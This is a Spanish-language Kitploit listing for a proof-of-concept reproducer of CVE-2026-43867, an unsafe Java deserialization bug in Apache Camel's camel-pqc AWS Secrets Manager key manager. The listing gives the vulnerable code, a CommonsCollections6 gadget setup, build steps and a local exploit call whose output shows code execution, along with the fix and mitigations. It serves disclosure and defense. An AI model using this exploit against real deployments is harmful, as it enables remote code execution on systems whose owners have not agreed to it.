Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-43867 — Reproductor para CVE-2026-43867 — Apache Camel camel-pqc AwsSecretsManagerKeyLifecycleManager deserialización insegura de metadatos de claves (RCE) | Kitploit
Herramientas/GitHubGitHub/oscerd/cve-2026-43867
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónSeguridad en la NubeExplotación de Binarios
GitHuboscerd/cve-2026-43867

CVE-2026-43867

Reproductor para CVE-2026-43867 — Apache Camel camel-pqc AwsSecretsManagerKeyLifecycleManager deserialización insegura de metadatos de claves (RCE)

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

camel-pqc Reproducción de deserialización insegura de metadatos de claves de AWS Secrets Manager (CVE-2026-43867)

Este proyecto demuestra una vulnerabilidad de deserialización en Java en el componente camel-pqc de Apache Camel, registrada como CVE-2026-43867. AwsSecretsManagerKeyLifecycleManager.deserializeMetadata() vuelve a leer los metadatos de claves post-cuánticas persistidos de un secreto de AWS Secrets Manager decodificando en Base64 el valor almacenado y deserializándolo con un java.io.ObjectInputStream.readObject() sin procesar y sin ObjectInputFilter — el casteo a KeyMetadata ocurre solo después de que readObject() retorna, por lo que cualquier efecto secundario de readObject() se ejecuta primero. Un principal que pueda escribir en ese secreto (secretsmanager:PutSecretValue) puede almacenar un objeto serializado manipulado que se deserializa durante operaciones normales del ciclo de vida de las claves, lo que potencialmente conduce a ejecución de código.

Aviso: https://camel.apache.org/security/CVE-2026-43867.html

Resumen de la vulnerabilidad

Mismo defecto que CVE-2026-46590 (notificado de forma independiente; ese aviso también cubre los administradores hermanos basados en HashiCorp Vault y en archivos), y una corrección incompleta posterior a CVE-2026-40048 (CAMEL-23200), que cambió FileBasedKeyLifecycleManager a un formato JSON/PKCS#8/X.509 pero no agregó un ObjectInputFilter ni cubrió los administradores de AWS/Vault.

Detalles técnicos

root@kitploit:~
// AwsSecretsManagerKeyLifecycleManager - affected 4.18.2
private KeyMetadata deserializeMetadata(String base64) throws Exception {
    byte[] data = Base64.getDecoder().decode(base64);
    ByteArrayInputStream bais = new ByteArrayInputStream(data);
    try (ObjectInputStream ois = new ObjectInputStream(bais)) {   // NO ObjectInputFilter
        return (KeyMetadata) ois.readObject();                    // gadget fires here, before the cast
    }
}

getKeyMetadata(keyId) lee el secreto llamado <keyPrefix>/<keyId>/metadata, analiza su envoltura JSON ({"metadata":"<base64>","keyId":...,"algorithm":...}) y pasa el campo metadata a deserializeMetadata. La corrección (4.18.3 / 4.21.0) introduce un KeyMetadataCodec compartido que almacena los metadatos como JSON para todos los administradores y restringe las lecturas heredadas restantes de ObjectInputStream con un ObjectInputFilter de lista de permitidos.

Atacante vs. víctima

La víctima es la aplicación que gestiona claves PQC con el administrador de AWS. El atacante es cualquier principal que pueda escribir el secreto de metadatos (secretsmanager:PutSecretValue). Este PoC utiliza LocalStack para emular AWS Secrets Manager; el endpoint /exploit/attack escribe un secreto de metadatos manipulado y luego recorre la ruta de lectura del administrador.

root@kitploit:~
CVE-2026-43867/
├── pom.xml                 # camel-pqc 4.18.2 + aws-sdk secretsmanager 2.41.28 + commons-collections 3.2.1
├── Dockerfile              # runs the app (--add-opens for gadget build)
├── docker-compose.yml      # LocalStack (Secrets Manager) + the reproducer app
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── Gadget.java             # CommonsCollections6 gadget, fires during readObject()
    │   └── ExploitController.java  # writes the crafted secret, then calls getKeyMetadata()
    └── resources/
        └── application.properties

En un ataque real, los bytes serializados se producen sin conexión por parte del atacante (por ejemplo, con ysoserial). Este PoC construye el gadget dentro del proceso, por eso la JVM se ejecuta con --add-opens java.base/java.util=ALL-UNNAMED — un detalle de construcción del gadget, no relacionado con la vulnerabilidad.

Requisitos previos

  • Java 17+ y Maven 3.8+
  • Docker (ejecuta LocalStack y la aplicación)

Pasos para reproducir

Paso 1: Compilar e iniciar todo

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

Esto inicia LocalStack (que emula AWS Secrets Manager) y la aplicación de reproducción, que apunta su AwsSecretsManagerKeyLifecycleManager hacia LocalStack mediante la anulación del endpoint.

Paso 2: Desencadenar la deserialización (RCE)

root@kitploit:~
curl -s http://localhost:8080/exploit/attack
# -> Wrote crafted serialized metadata to AWS Secrets Manager secret 'pqc/keys/victim-key/metadata'.
#    getKeyMetadata() threw java.lang.ClassCastException  (expected — the gadget runs during readObject ...)
#
#    >>> RCE proof — /tmp/pwned exists: true

Paso 3: Verificar

root@kitploit:~
docker exec cve-2026-43867 ls -la /tmp/pwned

Limpieza

root@kitploit:~
docker compose down

Vectores de ataque

Cualquier aplicación que use AwsSecretsManagerKeyLifecycleManager cuyo secreto de metadatos de claves pueda ser escrito por una parte distinta de la identidad confiable de la propia aplicación. La deserialización se ejecuta durante operaciones ordinarias del ciclo de vida de las claves (getKeyMetadata, loadExistingKeys, listKeys, comprobaciones de rotación, …).

Condiciones de explotación

  1. Una aplicación que use AwsSecretsManagerKeyLifecycleManager de camel-pqc en una versión afectada.
  2. El atacante puede escribir el secreto de metadatos (secretsmanager:PutSecretValue sobre él).
  3. Una librería gadget en el classpath (aquí commons-collections:3.2.1).

Corrección recomendada

Actualice a 4.18.3 / 4.21.0 (CAMEL-23726). Los metadatos se almacenan como JSON y cualquier lectura heredada restante de ObjectInputStream está restringida por un ObjectInputFilter de lista de permitidos.

Mitigación

Hasta que se actualice:

  1. Restrinja secretsmanager:PutSecretValue sobre el secreto de metadatos de camel-pqc a la identidad de la propia aplicación (IAM de privilegio mínimo).
  2. Mantenga el material de claves PQC en un secreto separado de cualquier dato que principales con menos confianza puedan escribir.
  3. Elimine las librerías gadget del classpath (actualice/elimine commons-collections 3.x y similares).

Aviso legal

Esta herramienta de reproducción se proporciona solo para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No la use contra sistemas sin permiso explícito.

Descargar herramienta
PropiedadValor
Componentecamel-pqc (AwsSecretsManagerKeyLifecycleManager)
Clase afectadaorg.apache.camel.component.pqc.lifecycle.AwsSecretsManagerKeyLifecycleManager#deserializeMetadata
CWECWE-502: Deserialización de datos no confiables
ImpactoEjecución de código en la aplicación que gestiona las claves (requiere acceso de escritura al secreto de metadatos)
Versiones afectadasDesde 4.18.0 antes de 4.18.3, desde 4.19.0 antes de 4.21.0
Versiones corregidas4.18.3, 4.21.0 (camel-pqc no está en la línea LTS 4.14.x)
JIRACAMEL-23726
NotificadorVenkatraman Kumar (Securin)